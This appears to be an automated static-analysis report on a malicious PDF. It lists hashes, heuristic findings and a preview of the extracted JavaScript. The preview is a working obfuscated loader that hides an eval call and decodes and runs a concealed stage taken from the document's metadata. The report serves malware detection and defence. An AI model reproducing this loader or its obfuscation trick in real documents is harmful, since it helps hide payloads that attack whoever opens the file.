Malicious PDF — malware analysis report

Static analysis result for SHA-256 fa3b5da8dc405404…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-07
MD5: 0a7c537c6256268a222edf6d4057c51d SHA-1: f885ce3b8aa27a6e77dae99415b8d543598d0bcc SHA-256: fa3b5da8dc405404d491fff8f2f1dd069c6f34bca8d73484483c1f2bfe365046
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics. The ML classifier strongly indicates malicious intent. The JavaScript stream, though not fully detailed here, is the primary mechanism for executing malicious actions within the PDF. The 'test' in the document body is likely a placeholder and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB022 445 bytes
SHA-256: b09d8a2d2e7ea1f4f3a3d11cab5bab63cca24117590245f478d3604a717ee7f8
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ljmp='';
ivj=('qwrwqr','tit');
e('nlsr=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nlq=e('String.fr'+nlsr.substr(0,10));
hmra = e(nlsr.substr(10)['replace'](/u/g,','));
e('k=hmra.length');
for (i = 0; i < k; i+=2) {
	esexa = hmra[i+1] + ('erybjkerl',hmra[i]);
	ljmp += nlq(esexa);
}
e(ljmp);

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